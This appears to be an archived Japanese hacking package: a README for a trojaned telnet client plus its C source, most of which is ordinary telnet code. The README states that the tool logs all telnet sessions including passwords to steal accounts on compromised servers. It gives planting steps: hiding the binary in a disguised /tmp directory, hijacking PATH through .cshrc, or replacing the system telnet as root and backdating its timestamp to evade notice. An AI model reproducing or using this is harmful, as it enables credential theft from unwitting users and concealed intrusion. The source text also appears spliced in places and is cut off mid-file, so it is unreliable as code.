TELNET/README010064400017510000024000000043150661614300300120330ustar00ukai00000400000007 telnet Logger by UNYUN 1. はじめに このツールはtelnetのログをすべてとるというものです。telnet時の パスワードもロギングします。踏み台に多く使われる鯖に仕込むと 結構アカがとれます。joeで侵入したのはいいけど、rootとれずにsniffer を仕込めなかった場合、他の人がrootとって踏み台に使ってることを 期待するのもいいかも。多段で踏み台にしてる場合は、そのアカも全部 頂けます。また、侵入者退治にも効果を発揮します。全て証拠となって ログに残りますから。あと、snifferがOSの都合上仕込めない場合も コレでアカをとれます。 2. 対応OS 動作確認は、Solaris,SunOS,Digitalです。たぶん、他のUNIXでも 動くと思います。 3. 仕込み方 (1) ltelnet.tar.gzを適当なディレクトリで展開します。 %cd /tmp %mkdir .temp %cd .temp %gzip -d ltelnet.tar.gz %tar -xvf ltelnet.tar Shell上で展開できない場合は、Win等で予め展開して/tmp/.temp/上に コピーしてもいいです。 (2) ログファイルを指定します。 (これをやらなかったら、defaultの/tmp/.tlogになります) %cd /tmp/.temp/TELNET %cat > xxx.h #define LOGFILE "/tmp/.tlog" <---- 適当な名前にしてください ^D <---- ^Dはctrl+Dのことです % (3) コンパイルし、telnet Loggerを適当なディレクトリに移します。 %make %mkdir /tmp/.gdb_socket= %cp /tmp/.temp/TELNET/telnet /tmp/.gdb_socket= %chmod 755 /tmp/.gdb_socket=/telnet 無事コンパイルが出来ると、/tmp/.temp/TELNETにtelnetという実行ファイル ができます。失敗する場合は、makefileでgccを指定するなりしてください。 makefile中の、 CC = cc の行を、 CC = gcc に変更してください。 Case1. Rootをとれなかった場合 %cd ~ ユーザのホームディレクトリに移動 %vi .cshrc .cshrcファイルを編集 .chsrcはshellの環境設定です。pathを指定して通常のtelnetよりtelnet Loggerを を優先させます。.cshrcファイルで、 set path=があれば、 set path=(. /tmp/.gdb_socket= /usr/bin ・・・後省略 のようにしておきます。 set pathが無い場合は、 set path=(. /tmp/.gdb_socket=) という行を入れましょう。 %source .cshrc Case2. Rootをとれた場合 #which telnet /usr/bsd/telnet #ls -al /usr/bsd/telnet -rwxr-xr-x 1 root sys 12472 8月 3日 14時01分 /usr/bsd/telnet* #cp /tmp/.temp/TELNET/telnet #chmod 755 /usr/bsd/telnet #chown root /usr/bsd/telnet #chgrp sys /usr/bsd/telnet #touch 0803140198 /usr/bsd/telnet TELNET/commands.c010064400017510000024000000637440661613454200131430ustar00ukai00000400000007#include #include #include #include #include #include #include #include #include "general.h" #include "ring.h" #include "externs.h" #include "defines.h" #include "types.h" char *hostname; #define Ambiguous(s) ((char *)s == ambiguous) static char *ambiguous; /* special return value for command routines */ typedef struct { char *name; /* command name */ char *help; /* help string */ int (*handler)(); /* routine which executes command */ int dohelp; /* Should we give general help information? */ int needconnect; /* Do we need to be connected to execute? */ } Command; static char line[200]; static int margc; static char *margv[20]; /* * Various utility routines. */ static call(va_alist) va_dcl { va_list ap; typedef int (*intrtn_t)(); intrtn_t routine; char *args[100]; int argno = 0; va_start(ap); routine = (va_arg(ap, intrtn_t)); while ((args[argno++] = va_arg(ap, char *)) != 0) { ; } va_end(ap); return (*routine)(argno-1, args); } static void makeargv() { register char *cp; register char **argp = margv; margc = 0; cp = line; if (*cp == '!') { /* Special case shell escape */ *argp++ = "!"; /* No room in string to get this */ margc++; cp++; } while (*cp) { while (isspace(*cp)) cp++; if (*cp == '\0') break; *argp++ = cp; margc += 1; while (*cp != '\0' && !isspace(*cp)) cp++; if (*cp == '\0') break; *cp++ = '\0'; } *argp++ = 0; } static char ** genget(name, table, next) char *name; /* name to match */ char **table; /* name entry in table */ char **(*next)(); /* routine to return next entry in table */ { register char *p, *q; register char **c, **found; register int nmatches, longest; if (name == 0) { return 0; } longest = 0; nmatches = 0; found = 0; for (c = table; (p = *c) != 0; c = (*next)(c)) { for (q = name; (*q == *p) || (isupper(*q) && tolower(*q) == *p); p++, q++) if (*q == 0) /* exact match? */ return (c); if (!*q) { /* the name was a prefix */ if (q - name > longest) { longest = q - name; nmatches = 1; found = c; } else if (q - name == longest) nmatches++; } } if (nmatches > 1) return (char **)ambiguous; return (found); } /* * Make a character string into a number. * * Todo: 1. Could take random integers (12, 0x12, 012, 0b1). */ static special(s) register char *s; { register char c; char b; switch (*s) { case '^': b = *++s; if (b == '?') { c = b | 0x40; /* DEL */ } else { c = b & 0x1f; } break; default: c = *s; break; } return c; } /* * Construct a control character sequence * for a special character. */ static char * control(c) register int c; { static char buf[3]; if (c == 0x7f) return ("^?"); if (c == '\377') { return "off"; } if (c >= 0x20) { buf[0] = c; buf[1] = 0; } else { buf[0] = '^'; buf[1] = '@'+c; buf[2] = 0; } return (buf); } /* * The following are data structures and routines for * the "send" command. * */ struct sendlist { char *name; /* How user refers to it (case independent) */ int what; /* Character to be sent (<0 ==> special) */ char *help; /* Help information (0 ==> no help) */ #if defined(NOT43) int (*routine)(); /* Routine to perform (for special ops) */ #else /* defined(NOT43) */ void (*routine)(); /* Routine to perform (for special ops) */ #endif /* defined(NOT43) */ }; #define SENDQUESTION -1 #define SENDESCAPE -3 static struct sendlist Sendlist[] = { { "ao", AO, "Send Telnet Abort output" }, { "ayt", AYT, "Send Telnet 'Are You There'" }, { "brk", BREAK, "Send Telnet Break" }, { "ec", EC, "Send Telnet Erase Character" }, { "el", EL, "Send Telnet Erase Line" }, { "escape", SENDESCAPE, "Send current escape character" }, { "ga", GA, "Send Telnet 'Go Ahead' sequence" }, { "ip", IP, "Send Telnet Interrupt Process" }, { "nop", NOP, "Send Telnet 'No operation'" }, { "synch", SYNCH, "Perform Telnet 'Synch operation'", dosynch }, { "?", SENDQUESTION, "Display send options" }, { 0 } }; static struct sendlist Sendlist2[] = { /* some synonyms */ { "break", BREAK, 0 }, { "intp", IP, 0 }, { "interrupt", IP, 0 }, { "intr", IP, 0 }, { "help", SENDQUESTION, 0 }, { 0 } }; static char ** getnextsend(name) char *name; { struct sendlist *c = (struct sendlist *) name; return (char **) (c+1); } static struct sendlist * getsend(name) char *name; { struct sendlist *sl; if ((sl = (struct sendlist *) genget(name, (char **) Sendlist, getnextsend)) != 0) { return sl; } else { return (struct sendlist *) genget(name, (char **) Sendlist2, getnextsend); } } static sendcmd(argc, argv) int argc; char **argv; { int what; /* what we are sending this time */ int count; /* how many bytes we are going to need to send */ int i; int question = 0; /* was at least one argument a question */ struct sendlist *s; /* pointer to current command */ if (argc < 2) { printf("need at least one argument for 'send' command\n"); printf("'send ?' for help\n"); return 0; } /* * First, validate all the send arguments. * In addition, we see how much space we are going to need, and * whether or not we will be doing a "SYNCH" operation (which * flushes the network queue). */ count = 0; for (i = 1; i < argc; i++) { s = getsend(argv[i]); if (s == 0) { printf("Unknown send argument '%s'\n'send ?' for help.\n", argv[i]); return 0; } else if (Ambiguous(s)) { printf("Ambiguous send argument '%s'\n'send ?' for help.\n", argv[i]); return 0; } switch (s->what) { case SENDQUESTION: break; case SENDESCAPE: count += 1; break; case SYNCH: count += 2; break; default: count += 2; break; } } /* Now, do we have enough room? */ if (NETROOM() < count) { printf("There is not enough room in the buffer TO the network\n"); printf("to process your request. Nothing will be done.\n"); printf("('send synch' will throw away most data in the network\n"); printf("buffer, if this might help.)\n"); return 0; } /* OK, they are all OK, now go through again and actually send */ for (i = 1; i < argc; i++) { if ((s = getsend(argv[i])) == 0) { fprintf(stderr, "Telnet 'send' error - argument disappeared!\n"); quit(); /*NOTREACHED*/ } if (s->routine) { (*s->routine)(s); } else { switch (what = s->what) { case SYNCH: dosynch(); break; case SENDQUESTION: for (s = Sendlist; s->name; s++) { if (s->help) { printf(s->name); if (s->help) { printf("\t%s", s->help); } printf("\n"); } } question = 1; break; case SENDESCAPE: NETADD(escape); break; default: NET2ADD(IAC, what); break; } } } return !question; } /* * The following are the routines and data structures referred * to by the arguments to the "toggle" command. */ static lclchars() { donelclchars = 1; return 1; } static togdebug() { #ifndef NOT43 if (net > 0 && (SetSockOpt(net, SOL_SOCKET, SO_DEBUG, debug)) < 0) { perror("setsockopt (SO_DEBUG)"); } #else /* NOT43 */ if (debug) { if (net > 0 && SetSockOpt(net, SOL_SOCKET, SO_DEBUG, 0, 0) < 0) perror("setsockopt (SO_DEBUG)"); } else printf("Cannot turn off socket debugging\n"); #endif /* NOT43 */ return 1; } static int togcrlf() { if (crlf) { printf("Will send carriage returns as telnet .\n"); } else { printf("Will send carriage returns as telnet .\n"); } return 1; } static int togbinary() { donebinarytoggle = 1; if (myopts[TELOPT_BINARY] == 0) { /* Go into binary mode */ NET2ADD(IAC, DO); NETADD(TELOPT_BINARY); printoption("", togcrlf, 1, &crlf, 0 }, { "crmod", "toggle mapping of received carriage returns", 0, 1, &crmod, "map carriage return on output" }, { "localchars", "toggle local recognition of certain control characters", lclchars, 1, &localchars, "recognize certain control characters" }, { " ", "", 0, 1 }, /* empty line */ { "debug", "(debugging) toggle debugging", togdebug, 1, &debug, "turn on socket level debugging" }, { "netdata", "(debugging) toggle printing of hexadecimal network data", 0, 1, &netdata, "print hexadecimal representation of network traffic" }, { "options", "(debugging) toggle viewing of options processing", 0, 1, &showoptions, "show option processing" }, { " ", "", 0, 1 }, /* empty line */ { "?", "display help information", togglehelp, 1 }, { "help", "display help information", togglehelp, 0 }, { 0 } }; static int togglehelp() { struct togglelist *c; for (c = Togglelist; c->name; c++) { if (c->dohelp) { printf("%s\t%s\n", c->name, c->help); } } return 0; } static char ** getnexttoggle(name) char *name; { struct togglelist *c = (struct togglelist *) name; return (char **) (c+1); } static struct togglelist * gettoggle(name) char *name; { return (struct togglelist *) genget(name, (char **) Togglelist, getnexttoggle); } static toggle(argc, argv) int argc; char *argv[]; { int retval = 1; char *name; struct togglelist *c; if (argc < 2) { fprintf(stderr, "Need an argument to 'toggle' command. 'toggle ?' for help.\n"); return 0; } argc--; argv++; while (argc--) { name = *argv++; c = gettoggle(name); if (Ambiguous(c)) { fprintf(stderr, "'%s': ambiguous argument ('toggle ?' for help).\n", name); return 0; } else if (c == 0) { fprintf(stderr, "'%s': unknown argument ('toggle ?' for help).\n", name); return 0; } else { if (c->variable) { *c->variable = !*c->variable; /* invert it */ if (c->actionexplanation) { printf("%s %s.\n", *c->variable? "Will" : "Won't", c->actionexplanation); } printf("%s %s.\n", *c->variable? "Will" : "Won't", c->actionexplanation); } if (c->handler) { retval &= (*c->handler)(c); } } } return retval; } /* * The following perform the "set" command. */ struct setlist { char *name; /* name */ char *help; /* help information */ char *charp; /* where it is located at */ }; static struct setlist Setlist[] = { { "echo", "character to toggle local echoing on/off", &echoc }, { "escape", "character to escape back to telnet command mode", &escape }, { " ", "" }, { " ", "The following need 'localchars' to be toggled true", 0 }, { "erase", "character to cause an Erase Character", &termEraseChar }, { "flushoutput", "character to cause an Abort Oubput", &termFlushChar }, { "interrupt", "character to cause an Interrupt Process", &termIntChar }, { "kill", "character to cause an Erase Line", &termKillChar }, { "quit", "character to cause a Break", &termQuitChar }, { "eof", "character to cause an EOF ", &termEofChar }, { 0 } }; static char ** getnextset(name) char *name; { struct setlist *c = (struct setlist *)name; return (char **) (c+1); } static struct setlist * getset(name) char *name; { return (struct setlist *) genget(name, (char **) Setlist, getnextset); } static setcmd(argc, argv) int argc; char *argv[]; { int value; struct setlist *ct; /* XXX back we go... sigh */ if (argc != 3) { if ((argc == 2) && ((!strcmp(argv[1], "?")) || (!strcmp(argv[1], "help")))) { for (ct = Setlist; ct->name; ct++) { printf("%s\t%s\n", ct->name, ct->help); } printf("?\tdisplay help information\n"); } else { printf("Format is 'set Name Value'\n'set ?' for help.\n"); } return 0; } ct = getset(argv[1]); if (ct == 0) { fprintf(stderr, "'%s': unknown argument ('set ?' for help).\n", argv[1]); return 0; } else if (Ambiguous(ct)) { fprintf(stderr, "'%s': ambiguous argument ('set ?' for help).\n", argv[1]); return 0; } else { if (strcmp("off", argv[2])) { value = special(argv[2]); } else { value = -1; } *(ct->charp) = value; printf("%s character is '%s'.\n", ct->name, control(*(ct->charp))); } return 1; } /* * The following are the data structures and routines for the * 'mode' command. */ static dolinemode() { if (hisopts[TELOPT_SGA]) { wontoption(TELOPT_SGA, 0); } if (hisopts[TELOPT_ECHO]) { wontoption(TELOPT_ECHO, 0); } return 1; } static docharmode() { if (!hisopts[TELOPT_SGA]) { willoption(TELOPT_SGA, 0); } if (!hisopts[TELOPT_ECHO]) { willoption(TELOPT_ECHO, 0); } return 1; } static Command Mode_commands[] = { { "character", "character-at-a-time mode", docharmode, 1, 1 }, { "line", "line-by-line mode", dolinemode, 1, 1 }, { 0 }, }; static char ** getnextmode(name) char *name; { Command *c = (Command *) name; return (char **) (c+1); } static Command * getmodecmd(name) char *name; { return (Command *) genget(name, (char **) Mode_commands, getnextmode); } static modecmd(argc, argv) int argc; char *argv[]; { Command *mt; if ((argc != 2) || !strcmp(argv[1], "?") || !strcmp(argv[1], "help")) { printf("format is: 'mode Mode', where 'Mode' is one of:\n\n"); for (mt = Mode_commands; mt->name; mt++) { printf("%s\t%s\n", mt->name, mt->help); } return 0; } mt = getmodecmd(argv[1]); if (mt == 0) { fprintf(stderr, "Unknown mode '%s' ('mode ?' for help).\n", argv[1]); return 0; } else if (Ambiguous(mt)) { fprintf(stderr, "Ambiguous mode '%s' ('mode ?' for help).\n", argv[1]); return 0; } else { (*mt->handler)(); } return 1; } /* * The following data structures and routines implement the * "display" command. */ static display(argc, argv) int argc; char *argv[]; { #define dotog(tl) if (tl->variable && tl->actionexplanation) { \ if (*tl->variable) { \ printf("will"); \ } else { \ printf("won't"); \ } \ printf(" %s.\n", tl->actionexplanation); \ } #define doset(sl) if (sl->name && *sl->name != ' ') { \ printf("[%s]\t%s.\n", control(*sl->charp), sl->name); \ } struct togglelist *tl; struct setlist *sl; if (argc == 1) { for (tl = Togglelist; tl->name; tl++) { dotog(tl); } printf("\n"); for (sl = Setlist; sl->name; sl++) { doset(sl); } } else { int i; for (i = 1; i < argc; i++) { sl = getset(argv[i]); tl = gettoggle(argv[i]); if (Ambiguous(sl) || Ambiguous(tl)) { printf("?Ambiguous argument '%s'.\n", argv[i]); return 0; } else if (!sl && !tl) { printf("?Unknown argument '%s'.\n", argv[i]); return 0; } else { if (tl) { dotog(tl); } if (sl) { doset(sl); } } } } return 1; #undef doset #undef dotog } /* * The following are the data structures, and many of the routines, * relating to command processing. */ /* * Set the escape character. */ static setescape(argc, argv) int argc; char *argv[]; { register char *arg; char buf[50]; printf( "Deprecated usage - please use 'set escape%s%s' in the future.\n", (argc > 2)? " ":"", (argc > 2)? argv[1]: ""); if (argc > 2) arg = argv[1]; else { printf("new escape character: "); (void) gets(buf); arg = buf; } if (arg[0] != '\0') escape = arg[0]; if (!In3270) { printf("Escape character is '%s'.\n", control(escape)); } (void) fflush(stdout); return 1; } /*VARARGS*/ static togcrmod() { crmod = !crmod; printf("Deprecated usage - please use 'toggle crmod' in the future.\n"); printf("%s map carriage return on output.\n", crmod ? "Will" : "Won't"); (void) fflush(stdout); return 1; } /*VARARGS*/ suspend() { setcommandmode(); #if defined(unix) (void) kill(0, SIGTSTP); #endif /* defined(unix) */ /* reget parameters in case they were changed */ TerminalSaveState(); setconnmode(); return 1; } /*VARARGS*/ static bye(argc, argv) int argc; /* Number of arguments */ char *argv[]; /* arguments */ { if (connected) { (void) shutdown(net, 2); printf("Connection closed.\n"); (void) NetClose(net); connected = 0; /* reset options */ tninit(); #if defined(TN3270) SetIn3270(); /* Get out of 3270 mode */ #endif /* defined(TN3270) */ } if ((argc != 2) || (strcmp(argv[1], "fromquit") != 0)) { longjmp(toplevel, 1); /* NOTREACHED */ } return 1; /* Keep lint, etc., happy */ } /*VARARGS*/ quit() { (void) call(bye, "bye", "fromquit", 0); Exit(0); return 1; /* just to keep lint happy */ } /* * Print status about the connection. */ /*ARGSUSED*/ static status(argc, argv) int argc; char *argv[]; { if (connected) { printf("Connected to %s.\n", hostname); if (argc < 2) { printf("Operating in %s.\n", modelist[getconnmode()].modedescriptions); if (localchars) { printf("Catching signals locally.\n"); } } } else { printf("No connection.\n"); } # if !defined(TN3270) printf("Escape character is '%s'.\n", control(escape)); (void) fflush(stdout); # else /* !defined(TN3270) */ if ((!In3270) && ((argc < 2) || strcmp(argv[1], "notmuch"))) { printf("Escape character is '%s'.\n", control(escape)); } # if defined(unix) if (In3270 && transcom) { printf("Transparent mode command is '%s'.\n", transcom); } # endif /* defined(unix) */ (void) fflush(stdout); if (In3270) { return 0; } # endif /* defined(TN3270) */ return 1; } int tn(argc, argv) int argc; char *argv[]; { register struct hostent *host = 0; struct sockaddr_in sin; struct servent *sp = 0; static char hnamebuf[32]; unsigned long inet_addr(); #if defined(MSDOS) char *cp; #endif /* defined(MSDOS) */ if (connected) { printf("?Already connected to %s\n", hostname); return 0; } if (argc < 2) { (void) strcpy(line, "Connect "); printf("(to) "); (void) gets(&line[strlen(line)]); makeargv(); argc = margc; argv = margv; } if ((argc < 2) || (argc > 3)) { printf("usage: %s host-name [port]\n", argv[0]); return 0; } #if defined(MSDOS) for (cp = argv[1]; *cp; cp++) { if (isupper(*cp)) { *cp = tolower(*cp); } } #endif /* defined(MSDOS) */ sin.sin_addr.s_addr = inet_addr(argv[1]); if (sin.sin_addr.s_addr != -1) { sin.sin_family = AF_INET; (void) strcpy(hnamebuf, argv[1]); hostname = hnamebuf; } else { host = gethostbyname(argv[1]); if (host) { sin.sin_family = host->h_addrtype; #if defined(h_addr) /* In 4.3, this is a #define */ memcpy((caddr_t)&sin.sin_addr, host->h_addr_list[0], host->h_length); #else /* defined(h_addr) */ memcpy((caddr_t)&sin.sin_addr, host->h_addr, host->h_length); #endif /* defined(h_addr) */ hostname = host->h_name; } else { printf("Error %s\n",argv[1]); return 0; } } if (argc == 3) { sin.sin_port = atoi(argv[2]); if (sin.sin_port == 0) { sp = getservbyname(argv[2], "tcp"); if (sp) sin.sin_port = sp->s_port; else { printf("%s: bad port number\n", argv[2]); return 0; } } else { #if !defined(htons) u_short htons(); #endif /* !defined(htons) */ sin.sin_port = atoi(argv[2]); sin.sin_port = htons(sin.sin_port); } telnetport = 0; } else { if (sp == 0) { sp = getservbyname("telnet", "tcp"); if (sp == 0) { fprintf(stderr, "telnet: tcp/telnet: unknown service\n"); return 0; } sin.sin_port = sp->s_port; } telnetport = 1; } printf("Trying...\n"); do { net = socket(AF_INET, SOCK_STREAM, 0); if (net < 0) { perror("telnet: socket"); return 0; } if (debug && SetSockOpt(net, SOL_SOCKET, SO_DEBUG, 1) < 0) { perror("setsockopt (SO_DEBUG)"); } if (connect(net, (struct sockaddr *)&sin, sizeof (sin)) < 0) { #if defined(h_addr) /* In 4.3, this is a #define */ if (host && host->h_addr_list[1]) { int oerrno = errno; extern char *inet_ntoa(); fprintf(stderr, "telnet: connect to address %s: ", inet_ntoa(sin.sin_addr)); errno = oerrno; perror((char *)0); host->h_addr_list++; memcpy((caddr_t)&sin.sin_addr, host->h_addr_list[0], host->h_length); fprintf(stderr, "Trying %s...\n", inet_ntoa(sin.sin_addr)); (void) NetClose(net); continue; } #endif /* defined(h_addr) */ perror("telnet: Unable to connect to remote host"); return 0; } connected++; } while (connected == 0); (void) call(status, "status", "notmuch", 0); if (setjmp(peerdied) == 0) telnet(); (void) NetClose(net); ExitString("Connection closed by foreign host.\n",1); /*NOTREACHED*/ } #define HELPINDENT (sizeof ("connect")) static char openhelp[] = "connect to a site", closehelp[] = "close current connection", quithelp[] = "exit telnet", statushelp[] = "print status information", helphelp[] = "print help information", sendhelp[] = "transmit special characters ('send ?' for more)", sethelp[] = "set operating parameters ('set ?' for more)", togglestring[] ="toggle operating parameters ('toggle ?' for more)", displayhelp[] = "display operating parameters", #if defined(TN3270) && defined(unix) transcomhelp[] = "specify Unix command for transparent mode pipe", #endif /* defined(TN3270) && defined(unix) */ #if defined(unix) zhelp[] = "suspend telnet", #endif /* defined(unix */ #if defined(TN3270) shellhelp[] = "invoke a subshell", #endif /* defined(TN3270) */ modehelp[] = "try to enter line-by-line or character-at-a-time mode"; extern int shell(); int help(); int display(); static Command cmdtab[] = { { "close", closehelp, bye, 1, 1 }, { "display", displayhelp, display, 1, 0 }, { "mode", modehelp, modecmd, 1, 1 }, { "open", openhelp, tn, 1, 0 }, { "quit", quithelp, quit, 1, 0 }, { "send", sendhelp, sendcmd, 1, 1 }, { "set", sethelp, setcmd, 1, 0 }, { "status", statushelp, status, 1, 0 }, { "toggle", togglestring, toggle, 1, 0 }, #if defined(TN3270) && defined(unix) { "transcom", transcomhelp, settranscom, 1, 0 }, #endif /* defined(TN3270) && defined(unix) */ #if defined(unix) { "z", zhelp, suspend, 1, 0 }, #endif /* defined(unix) */ #if defined(TN3270) { "!", shellhelp, shell, 1, 1 }, #endif /* defined(TN3270) */ { "?", helphelp, help, 1, 0 }, 0 }; static char crmodhelp[] = "deprecated command -- use 'toggle crmod' instead"; static char escapehelp[] = "deprecated command -- use 'set escape' instead"; static Command cmdtab2[] = { { "help", helphelp, help, 0, 0 }, { "escape", escapehelp, setescape, 1, 0 }, { "crmod", crmodhelp, togcrmod, 1, 0 }, 0 }; /* * Call routine with argc, argv set from args (terminated by 0). */ /*VARARGS1*/ /* static call(va_alist) va_dcl { va_list ap; typedef int (*intrtn_t)(); intrtn_t routine; char *args[100]; int argno = 0; va_start(ap); routine = (va_arg(ap, intrtn_t)); while ((args[argno++] = va_arg(ap, char *)) != 0) { ; } va_end(ap); return (*routine)(argno-1, args); } */ static char ** getnextcmd(name) char *name; { Command *c = (Command *) name; return (char **) (c+1); } static Command * getcmd(name) char *name; { Command *cm; if ((cm = (Command *) genget(name, (char **) cmdtab, getnextcmd)) != 0) { return cm; } else { return (Command *) genget(name, (char **) cmdtab2, getnextcmd); } } void command(top) int top; { register Command *c; setcommandmode(); if (!top) { putchar('\n'); } else { #if defined(unix) signal(SIGINT, SIG_DFL); signal(SIGQUIT, SIG_DFL); #endif /* defined(unix) */ } for (;;) { printf("%s> ", prompt); if (gets(line) == NULL) { if (feof(stdin) || ferror(stdin)) quit(); break; } if (line[0] == 0) break; makeargv(); c = getcmd(margv[0]); if (Ambiguous(c)) { printf("?Ambiguous command\n"); continue; } if (c == 0) { printf("?Invalid command\n"); continue; } if (c->needconnect && !connected) { printf("?Need to be connected first.\n"); continue; } if ((*c->handler)(margc, margv)) { break; } } if (!top) { if (!connected) { longjmp(toplevel, 1); /*NOTREACHED*/ } #if defined(TN3270) if (shell_active == 0) { setconnmode(); } #else /* defined(TN3270) */ setconnmode(); #endif /* defined(TN3270) */ } } /* * Help command. */ static int help(argc, argv) int argc; char *argv[]; { register Command *c; if (argc == 1) { printf("Commands may be abbreviated. Commands are:\n\n"); for (c = cmdtab; c->name; c++) if (c->dohelp) { printf("%-*s\t%s\n", HELPINDENT, c->name, c->help); } return 0; } while (--argc > 0) { register char *arg; arg = *++argv; c = getcmd(arg); if (Ambiguous(c)) printf("?Ambiguous help command %s\n", arg); else if (c == (Command *)0) printf("?Invalid help command %s\n", arg); else printf("%s\n", c->help); } return 0; } , argv[i]); return 0; TELNET/defines.h010064400017510000024000000021440661613451100127430ustar00ukai00000400000007#define settimer(x) clocks.x = clocks.system++ #if !defined(TN3270) #define ExitString(s,r) { fprintf(stderr, s); exit(r); } #define Exit(x) exit(x) #define SetIn3270() #endif /* !defined(TN3270) */ #define NETADD(c) { *netoring.supply = c; ring_supplied(&netoring, 1); } #define NET2ADD(c1,c2) { NETADD(c1); NETADD(c2); } #define NETBYTES() (ring_full_count(&netoring)) #define NETROOM() (ring_empty_count(&netoring)) #define TTYADD(c) if (!(SYNCHing||flushout)) { \ *ttyoring.supply = c; \ ring_supplied(&ttyoring, 1); \ } #define TTYBYTES() (ring_full_count(&ttyoring)) #define TTYROOM() (ring_empty_count(&ttyoring)) /* Various modes */ #define MODE_LINE(m) (modelist[m].modetype & LINE) #define MODE_LOCAL_CHARS(m) (modelist[m].modetype & LOCAL_CHARS) #define MODE_LOCAL_ECHO(m) (modelist[m].modetype & LOCAL_ECHO) #define MODE_COMMAND_LINE(m) (modelist[m].modetype & COMMAND_LINE) #define LOCAL_CHARS 0x01 /* Characters processed locally */ #define LINE 0x02 /* Line-by-line mode of operation */ #define LOCAL_ECHO 0x04 /* Echoing locally */ #define COMMAND_LINE 0x08 /* Command line mode */ TELNET/externs.h010064400017510000024000000052410661613451100130170ustar00ukai00000400000007#include #include #define SUBBUFSIZE 100 extern int errno; /* outside this world */ extern char *strcat(), *strcpy(); /* outside this world */ extern int flushout, /* flush output */ connected, /* Are we connected to the other side? */ globalmode, /* Mode tty should be in */ In3270, /* Are we in 3270 mode? */ telnetport, /* Are we connected to the telnet port? */ localchars, /* we recognize interrupt/quit */ donelclchars, /* the user has set "localchars" */ showoptions, net, tout, /* Terminal output file descriptor */ crlf, /* Should '\r' be mapped to (or )? */ autoflush, /* flush output when interrupting? */ autosynch, /* send interrupt characters with SYNCH? */ SYNCHing, /* Is the stream in telnet SYNCH mode? */ donebinarytoggle, /* the user has put us in binary */ dontlecho, /* do we suppress local echoing right now? */ crmod, netdata, /* Print out network data flow */ debug; /* Debug level */ extern char echoc, /* Toggle local echoing */ escape, /* Escape to command mode */ doopt[], dont[], will[], wont[], hisopts[], myopts[], *hostname, /* Who are we connected to? */ *prompt; /* Prompt for command. */ extern FILE *NetTrace; /* Where debugging output goes */ extern jmp_buf peerdied, toplevel; /* For error conditions. */ extern void command(), #if !defined(NOT43) dosynch(), #endif /* !defined(NOT43) */ Dump(), init_3270(), printoption(), printsub(), setconnmode(), setcommandmode(), setneturg(), sys_telnet_init(), telnet(), TerminalFlushOutput(), TerminalNewMode(), TerminalRestoreState(), TerminalSaveState(), tninit(), upcase(), willoption(), wontoption(); #if defined(NOT43) extern int dosynch(); #endif /* defined(NOT43) */ extern char termEofChar, termEraseChar, termFlushChar, termIntChar, termKillChar, termLiteralNextChar, termQuitChar; /* Ring buffer structures which are shared */ extern Ring netoring, netiring, ttyoring, ttyiring; /* Tn3270 section */ #if defined(TN3270) extern int HaveInput, /* Whether an asynchronous I/O indication came in */ noasynch, /* Don't do signals on I/O (SIGURG, SIGIO) */ shell_active; /* Subshell is active */ extern char *Ibackp, /* Oldest byte of 3270 data */ Ibuf[], /* 3270 buffer */ *Ifrontp, /* Where next 3270 byte goes */ tline[], *transcom; /* Transparent command */ extern int settranscom(); extern void inputAvailable(); #endif /* defined(TN3270) */ TELNET/fdset.h010064400017510000024000000003440661613451100124330ustar00ukai00000400000007#ifndef FD_SETSIZE #define FD_SET(n, p) ((p)->fds_bits[0] |= (1<<(n))) #define FD_CLR(n, p) ((p)->fds_bits[0] &= ~(1<<(n))) #define FD_ISSET(n, p) ((p)->fds_bits[0] & (1<<(n))) #define FD_ZERO(p) ((p)->fds_bits[0] = 0) #endif TELNET/general.h010064400017510000024000000014420661613451100127430ustar00ukai00000400000007#define numberof(x) (sizeof x/sizeof x[0]) #define highestof(x) (numberof(x)-1) #if defined(unix) #define ClearElement(x) bzero((char *)&x, sizeof x) #define ClearArray(x) bzero((char *)x, sizeof x) #else /* defined(unix) */ #define ClearElement(x) memset((char *)&x, 0, sizeof x) #define ClearArray(x) memset((char *)x, 0, sizeof x) #endif /* defined(unix) */ #if defined(unix) /* Define BSD equivalent mem* functions */ #define memcpy(dest,src,n) bcopy(src,dest,n) #define memmove(dest,src,n) bcopy(src,dest,n) #define memset(s,c,n) if (c == 0) { \ bzero(s,n); \ } else { \ register char *src = s; \ register int count = n; \ \ while (count--) { \ *src++ = c; \ } \ } #define memcmp(s1,s2,n) bcmp(s1,s2,n) #endif /* defined(unix) */ TELNET/main.c010064400017510000024000000027030661613451100122460ustar00ukai00000400000007#include #include "ring.h" #include "externs.h" #include "defines.h" void tninit() { init_terminal(); init_network(); init_telnet(); init_sys(); init_3270(); } int main(argc, argv) int argc; char *argv[]; { tninit(); TerminalSaveState(); prompt = argv[0]; while ((argc > 1) && (argv[1][0] == '-')) { if (!strcmp(argv[1], "-d")) { debug = 1; } else if (!strcmp(argv[1], "-n")) { if ((argc > 1) && (argv[2][0] != '-')) { /* get file name */ NetTrace = fopen(argv[2], "w"); argv++; argc--; if (NetTrace == NULL) { NetTrace = stdout; } } } else { #if defined(TN3270) && defined(unix) if (!strcmp(argv[1], "-t")) { if ((argc > 1) && (argv[2][0] != '-')) { /* get file name */ transcom = tline; (void) strcpy(transcom, argv[2]); argv++; argc--; } } else if (!strcmp(argv[1], "-noasynch")) { noasynch = 1; } else #endif if (argv[1][1] != '\0') { fprintf(stderr, "Unknown option *%s*.\n", argv[1]); } } argc--; argv++; } if (argc != 1) { if (setjmp(toplevel) != 0) Exit(0); if (tn(argc, argv) == 1) { return 0; } else { return 1; } } (void) setjmp(toplevel); for (;;) { #if !defined(TN3270) command(1); #else /* !defined(TN3270) */ if (!shell_active) { command(1); } else { #if defined(TN3270) shell_continue(); #endif /* defined(TN3270) */ } #endif /* !defined(TN3270) */ } } TELNET/makefile010064400017510000024000000004360661613617400126660ustar00ukai00000400000007CCFLAGS = -O $(INCLUDE) OBJECT = commands.o tn3270.o network.o main.o ring.o telnet.o utilities.o sys_unix.o terminal.o FILE.h = defines.h externs.h fdset.h general.h ring.h types.h ttold.h CC = cc telnet : $(OBJECT) $(CC) $(OBJECT) -o telnet $(FLAGS) $(OBJECT) : $(FILE.h) TELNET/network.c010064400017510000024000000047550661613451100130240ustar00ukai00000400000007#include #include #include #include #include #include "ring.h" #include "defines.h" #include "externs.h" #include "fdset.h" Ring netoring, netiring; char netobuf[2*BUFSIZ], netibuf[BUFSIZ]; /* * Initialize internal network data structures. */ init_network() { if (ring_init(&netoring, netobuf, sizeof netobuf) != 1) { exit(1); } if (ring_init(&netiring, netibuf, sizeof netibuf) != 1) { exit(1); } NetTrace = stdout; } /* * Check to see if any out-of-band data exists on a socket (for * 